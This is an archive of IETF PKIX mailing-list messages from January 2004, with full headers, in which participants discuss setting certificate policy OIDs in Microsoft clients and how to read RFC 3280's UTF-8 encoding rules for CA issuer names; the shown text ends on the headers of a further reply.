Received: from smtp2-1-sn4.m-sp.skanova.net (smtp2-1-sn4.m-sp.skanova.net [81.228.10.183]) by av5-2-sn4.m-sp.skanova.net (Postfix) with ESMTP id 6749237E42 for <[e-mail]>; Tue, 27 Jan 2004 11:50:07 +0100 (CET)
Received: from arport (t7o913p27.telia.com [213.64.26.27]) by smtp2-1-sn4.m-sp.skanova.net (Postfix) with SMTP id 3CFD937E4C for <[e-mail]>; Tue, 27 Jan 2004 11:50:06 +0100 (CET)
Message-ID: <020201c3e4c2$90d03b60$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>
Subject: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Tue, 27 Jan 2004 11:44:38 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

It has been touted that policy OIDs are essntial for building PKIs.

However, I have not found any place where you can can set the
policy filtering in relying party apps like MSIE, IIS, or Outlook.

I would be interested to know when this feature will be available
and how the policy-OID-related processes are supposed to work
from an end-user perspective.

In case there are such application features available from other
vendors, I would be interested in how they have addresses this
issue.

In particular, what you do after "installing" a trust anhcor does
not seem to be an not entirely straightforward matter unless you
do a lot of assumptions. 

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0R9eVYl006780; Tue, 27 Jan 2004 01:40:31 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0R9eVor006779; Tue, 27 Jan 2004 01:40:31 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0R9eSQM006767 for <[e-mail]>; Tue, 27 Jan 2004 01:40:28 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 26 Jan 2004 23:41:42 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 26 Jan 2004 23:41:31 -0000
Received: from eur-imc-02.europe.corp.microsoft.com ([65.53.196.43]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 26 Jan 2004 22:41:34 +0000
Received: from eur-imc-02.europe.corp.microsoft.com ([65.53.196.43]) by eur-imc-02.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 26 Jan 2004 22:40:45 +0000
Received: from 65.53.196.43 by eur-imc-02.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 26 Jan 2004 22:40:33 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by eur-imc-02.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 26 Jan 2004 21:01:48 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary"
Subject: RE: UTF-8 encoding after December 31 2003
Date: Mon, 26 Jan 2004 21:01:56 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: UTF-8 encoding after December 31 2003
Thread-Index: AcPkSt2EonOMqV7tQseYNc5gcUk/BAAAOHLg
From: "Stefan Santesson" <[e-mail]>
To: <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 26 Jan 2004 21:01:48.0164 (UTC) FILETIME=[9CDACC40:01C3E44F]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3E44F.A06C8DD1"

------_=_NextPart_001_01C3E44F.A06C8DD1
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Jim

=20

I hope you are right.

=20

However I have read it back and forth numerous of times and I have not
been able to conclude for sure that you are right even though I have
made my best efforts to do so.

=20

My strict reading is that first you must violate RFC 3280 and issue
certs with old encoded issuer names, THEN you are allowed to use the
exception rule to issue a matching CA cert.

I would like to have it stated the other way around.

=20

I.e:

A CA MUST issue certificates with an Issuer field that match the subject
name of the CA certificate it has selected for its operation, regardless
of encoding. (or similar wording).

=20

=20

Is my English knowledge fooling me here or is there someone lese having
problem with RFC 3280?

=20

/Stefan

=20

________________________________

From: Jim Schaad [mailto:[e-mail]]=20
Sent: den 26 januari 2004 21:32
To: Stefan Santesson; [e-mail]
Subject: RE: UTF-8 encoding after December 31 2003

=20

Stefan,

=20

I don't read (b) in the same way as you do.  I read this as saying if a
CA has a certificate with a non-UTF8 encoded subject name, then the
issuer name in all certificates it issues MUST be the non-UTF8 subject
name of the CA.  This means you don't need to update the CA certificate,
but that all new certificates issued by the CA must be using UTF8
strings.

=20

jim

	-----Original Message-----
	From: [e-mail]
[mailto:[e-mail]] On Behalf Of Stefan Santesson
	Sent: Monday, January 26, 2004 9:23 AM
	To: [e-mail]
	Subject: UTF-8 encoding after December 31 2003

	All,

	=20

	I have a problem with the UTF-8 requirements in RFC 3280 after
December 31, and would appreciate guidance on interpretation of RFC 3280
as well as other implementers view on this.

	=20

	The situation:

	=20

	Conforming CA:s must encode attributes of DirectotyString types
as UTF-8 after=20

	December 31, 2003.

	=20

	Exceptions are stated in RFC 3280 (section 4.1.2.4):

	=20

	   Exceptions to the December 31, 2003 UTF8 encoding
requirements are as

	   follows:

	=20

	      (a)  CAs MAY issue "name rollover" certificates to support
an

	      orderly migration to UTF8String encoding.  Such
certificates would

	      include the CA's UTF8String encoded name as issuer and and
the old

	      name encoding as subject, or vice-versa.

	=20

	      (b)  As stated in section 4.1.2.6, the subject field MUST
be

	      populated with a non-empty distinguished name matching the

	      contents of the issuer field in all certificates issued by
the

	      subject CA regardless of encoding.

	=20

	=20

	My interpretation of this is:

	=20

	a) only applies for self issued certificates with the same CA
name as issuer and subject (but in different encodings). Introducing
such name roll-over certificates extend the certificate chain and may be
problematic since it may break both naming and path length constraints
expressed by chaining CAs.

	=20

	b) seams to be a catch 22. You can populate the subject field
with old encoding to match old encoded issuer names in descending
certificates, but since no descending CA can populate the issuer field
with old encoding it doesn't really apply.

	=20

	=20

	The issue:

	There seems to be a problem with practical reality here in case
the interpretation above is correct.

	=20

	Question 1)

	What if I have a Root CA valid to 2020 with subject and issuer
name in old encoding?

	=20

	Can that Root CA issue an intermediary CA certificate with the
issuer field in old encoding, matching the subject field of the current
root CA Certificate?

	=20

	Question 2)

	What if I have a CA with a current operating CA certificate that
expires 2006. Can this CA issue certificates after December 31, with the
issuer name in old encoding, matching the encoding of the current CA
certificate until it expires, or must this CA change its name and have
its CA certificate renewed before December 31?

	=20

	If RFC 3280 prevents operating CAs to issue certificates with
the issuer field matching the CA:s current certificate, until it
expires, then we face a huge legacy problem. Especially since name
matching for different encoding types are not required.

	=20

	4.1.2.4 states

	"(a)  attribute values encoded in different types (e.g.,

	      PrintableString and BMPString) MAY be assumed to represent

	      different strings;"

	=20

	=20

	If my concerns are wrong and the issuing such certificates is
allowed, then this needs to be clarified.

	=20

	=20

	=20

	Stefan Santesson

	Program Manager, Windows Security

	=20


------_=_NextPart_001_01C3E44F.A06C8DD1
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]-->
<title>Message</title>
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p.MsoPlainText, li.MsoPlainText, div.MsoPlainText
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:"Courier New";}
span.EmailStyle18
	{mso-style-type:personal;
	font-family:Arial;
	color:windowtext;}
span.EmailStyle20
	{mso-style-type:personal-reply;
	font-family:Arial;
	color:navy;}
@page Section1
	{size:612.0pt 792.0pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Jim<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I hope you are =
right.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>However I have read it back and =
forth numerous
of times and I have not been able to conclude for sure that you are =
right even
though I have made my best efforts to do =
so.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>My strict reading is that first you =
must
violate RFC 3280 and issue certs with old encoded issuer names, THEN you =
are
allowed to use the exception rule to issue a matching CA =
cert.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I would like to have it stated the =
other
way around.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>I.e:<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>A CA MUST issue certificates with =
an
Issuer field that match the subject name of the CA certificate it has =
selected for
its operation, regardless of encoding. (or similar =
wording).<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Is my English knowledge fooling me =
here or
is there someone lese having problem with RFC =
3280?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>/Stefan<o:p></o:p></span></font></p>=


<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<div style=3D'border:none;border-left:solid blue 1.5pt;padding:0cm 0cm =
0cm 4.0pt'>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D2 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;
font-family:Tahoma;font-weight:bold'>From:</span></font></b><font =
size=3D2
face=3DTahoma><span style=3D'font-size:10.0pt;font-family:Tahoma'> Jim =
Schaad
[mailto:[e-mail]] <br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> den 26 januari 2004 =
21:32<br>
<b><span style=3D'font-weight:bold'>To:</span></b> Stefan Santesson;
[e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> RE: UTF-8 =
encoding after
December 31 2003</span></font><o:p></o:p></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblue face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:blue'>Stefan,</span></font><o:p></o:p></p>=


</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblue face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:blue'>I don't read (b) in the same way as =
you
do.&nbsp; I read this as saying if a CA has a certificate with&nbsp;a =
non-UTF8
encoded subject name, then the issuer name in all certificates it issues =
MUST
be the non-UTF8 subject name of the CA.&nbsp; This means you don't need =
to
update the CA certificate, but that all new certificates issued by the =
CA must
be using UTF8 strings.</span></font><o:p></o:p></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;<o:p></o:p></span></font></p>

</div>

<div>

<p class=3DMsoNormal><font size=3D2 color=3Dblue face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:blue'>jim</span></font><o:p></o:p></p>

</div>

<blockquote style=3D'border:none;border-left:solid blue =
1.5pt;padding:0cm 0cm 0cm 4.0pt;
margin-left:3.75pt;margin-top:5.0pt;margin-right:0cm;margin-bottom:5.0pt'=
>

<p class=3DMsoNormal style=3D'margin-bottom:12.0pt'><font size=3D2 =
face=3DTahoma><span
style=3D'font-size:10.0pt;font-family:Tahoma'>-----Original =
Message-----<br>
<b><span style=3D'font-weight:bold'>From:</span></b> =
[e-mail]
[mailto:[e-mail]] <b><span =
style=3D'font-weight:bold'>On
Behalf Of </span></b>Stefan Santesson<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Monday, January 26, =
2004
9:23 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> UTF-8 encoding =
after
December 31 2003</span></font><o:p></o:p></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>All,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>I have a problem with the UTF-8 requirements in RFC 3280 after =
December
31, and would appreciate guidance on interpretation of RFC 3280 as well =
as
other implementers view on this.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The situation:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Conforming CA:s must encode attributes of DirectotyString types =
as
UTF-8 after <o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>December 31, 2003.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Exceptions are stated in RFC 3280 (section =
4.1.2.4):<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; Exceptions to the December 31, 2003 UTF8 encoding
requirements are as<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; follows:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (a)&nbsp; CAs MAY issue =
&quot;name
rollover&quot; certificates to support an<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; orderly migration to UTF8String
encoding.&nbsp; Such certificates would<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include the CA's UTF8String =
encoded name
as issuer and and the old<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;name encoding as subject, or =
vice-versa.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (b)&nbsp; As stated in section =
4.1.2.6,
the subject field MUST be<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; populated with a non-empty =
distinguished
name matching the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; contents of the issuer field in =
all
certificates issued by the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;subject CA regardless of =
encoding.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>My interpretation of this is:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>a) only applies for self issued certificates with the same CA =
name as
issuer and subject (but in different encodings). Introducing such name
roll-over certificates extend the certificate chain and may be =
problematic
since it may break both naming and path length constraints expressed by
chaining CAs.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>b) seams to be a catch 22. You can populate the subject field =
with old
encoding to match old encoded issuer names in descending certificates, =
but
since no descending CA can populate the issuer field with old encoding =
it
doesn&#8217;t really apply.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The issue:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>There seems to be a problem with practical reality here in case =
the
interpretation above is correct.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 1)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a Root CA valid to 2020 with subject and issuer =
name in
old encoding?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Can that Root CA issue an intermediary CA certificate with the =
issuer
field in old encoding, matching the subject field of the current root CA
Certificate?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 2)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a CA with a current operating CA certificate that
expires 2006. Can this CA issue certificates after December 31, with the =
issuer
name in old encoding, matching the encoding of the current CA =
certificate until
it expires, or must this CA change its name and have its CA certificate =
renewed
before December 31?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If RFC 3280 prevents operating CAs to issue certificates with =
the
issuer field matching the CA:s current certificate, until it expires, =
then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>4.1.2.4 states<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&#8220;(a)&nbsp; attribute values encoded in different types =
(e.g.,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PrintableString and BMPString) =
MAY be
assumed to represent<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; different =
strings;&#8221;<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If my concerns are wrong and the issuing such certificates is =
allowed,
then this needs to be clarified.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><strong><b><font size=3D2 color=3Dolive =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Stefan =
Santesson</span></font></b></strong><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:olive'>Program Manager, Windows =
Security</span></font><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</blockquote>

</div>

</div>

</body>

</html>

------_=_NextPart_001_01C3E44F.A06C8DD1--

--------------InterScan_NT_MIME_Boundary--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QMIkTu063101; Mon, 26 Jan 2004 14:18:46 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0QMIksu063100; Mon, 26 Jan 2004 14:18:46 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QMIjb6063092 for <[e-mail]>; Mon, 26 Jan 2004 14:18:45 -0800 (PST) (envelope-from [e-mail])
Received: from inet-vrs-04.redmond.corp.microsoft.com ([157.54.8.149]) by mail4.microsoft.com with Microsoft SMTPSVC(6.0.3790.0); Mon, 26 Jan 2004 14:18:42 -0800
Received: from 157.54.6.150 by inet-vrs-04.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 26 Jan 2004 14:18:34 -0800
Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-hub-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0); Mon, 26 Jan 2004 14:18:38 -0800
Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069); Mon, 26 Jan 2004 14:18:41 -0800
Received: from WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com ([157.54.12.81]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069); Mon, 26 Jan 2004 14:18:37 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7150.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------InterScan_NT_MIME_Boundary"
Subject: RE: UTF-8 encoding after December 31 2003
Date: Mon, 26 Jan 2004 14:18:33 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: UTF-8 encoding after December 31 2003
thread-index: AcPkMPwvrZQsO2diT4+G4hV9EogPPQAJaHFw
From: "Trevor Freeman" <[e-mail]>
To: "Stefan Santesson" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 26 Jan 2004 22:18:37.0510 (UTC) FILETIME=[583D2E60:01C3E45A]
Sender: [e-mail]
